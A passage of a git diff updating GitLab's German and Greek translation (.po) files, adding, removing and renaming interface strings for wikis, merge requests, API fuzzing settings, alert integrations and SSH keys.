msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Aktiviere den Service-Desk"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr "URL erforderlich"
@@ -32167,7 +32928,7 @@ msgstr "Aktualisiere deinen Tarif, um Gruppen-Webhooks zu aktivieren."
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "Nutze den Service-Desk, um dich direkt in GitLab via E-Mail mit deinen Benutzer(inne)n zu verbinden (z. B. um Kunden-Support anzubieten)"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr "Labels anzeigen"
msgid "View log"
msgstr "Protokoll ansehen"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Zeige offene Merge-Requests"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Die Dokumentation anzeigen"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr "Gollum installieren"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Gollum starten und lokal bearbeiten"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "Tipp: Du kannst diese Seite verschieben, indem du den Pfad zum Beginn des Titels hinzufügst."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "Es gibt bereits eine Seite mit demselben Titel in diesem Pfad."
@@ -33826,18 +34641,6 @@ msgstr "Verlauf"
msgid "WikiHistoricalPage|most recent version"
msgstr "neueste Version"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Weitere Beispiele sind in der %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "Dokumentation"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "Hinweis: Du kannst den vollständigen Pfad für die neue Datei angeben. Fehlende Verzeichnisse werden automatisch erstellt."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Bist du sicher, dass du diese Seite löschen möchtest?"
@@ -33850,10 +34653,37 @@ msgstr "Seite %{pageTitle} löschen?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr "Seite erstellen"
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr "Neue Seite"
msgid "Wiki|Page history"
msgstr "Seitenverlauf"
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr "Seitenversion"
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr "Du hast noch keine Abonnements"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr "Du benötigst git-lfs in Version %{min_git_lfs_version} (oder höher) um
msgid "You need permission."
msgstr "Du brauchst eine Genehmigung."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr "Aktivitäten deiner Projekte"
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Deine SSH-Schlüssel (%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr "konnte den privaten Schlüssel nicht lesen, ist die Passphrase korrekt?"
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr "Hilfe"
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://dein-bitbucket-server"
@@ -35585,7 +36433,7 @@ msgstr "einloggen"
msgid "manual"
msgstr "manuell"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr "%{commitCount} werden zu %{targetBranch} hinzugefügt"
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 Merge-Commit"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr "Momentan gibt es keine Änderungen in dem Quellbranch dieses Merge-Request. Bitte pushe neue Commits oder benutze einen anderen Branch."
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "Wenn der %{branch} Branch in deinem lokalen Repository existiert kannst du den Merge-Request manuell mergen mit Hilfe des"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Wenn der Branch %{missingBranchName} in deinem lokalen Repository vorhanden ist, kannst du diesen Merge-Request manuell über die Befehlszeile zusammenführen"
@@ -35893,18 +36735,12 @@ msgstr "Du kannst den Quellbranch nun löschen"
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "Du kannst diesen Merge-Request manuell mergen mit der"
-
msgid "mrWidget|Your password"
msgstr "Dein Password"
msgid "mrWidget|branch does not exist."
msgstr "Branch existiert nicht."
-msgid "mrWidget|command line"
-msgstr "Befehlszeile"
-
msgid "mrWidget|into"
msgstr "hinein"
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr "muss nach dem Anfangsdatum liegen"
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "erstellt %{timeAgoString} von %{user}"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr "erstellt %{timeAgo}"
@@ -36290,9 +37114,6 @@ msgstr "um deinen Mitwirkenden zu helfen möglichst effizient zu kommunizieren!"
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr "Benutzername"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index 10bcaa73b05..f24f78e4377 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:16\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
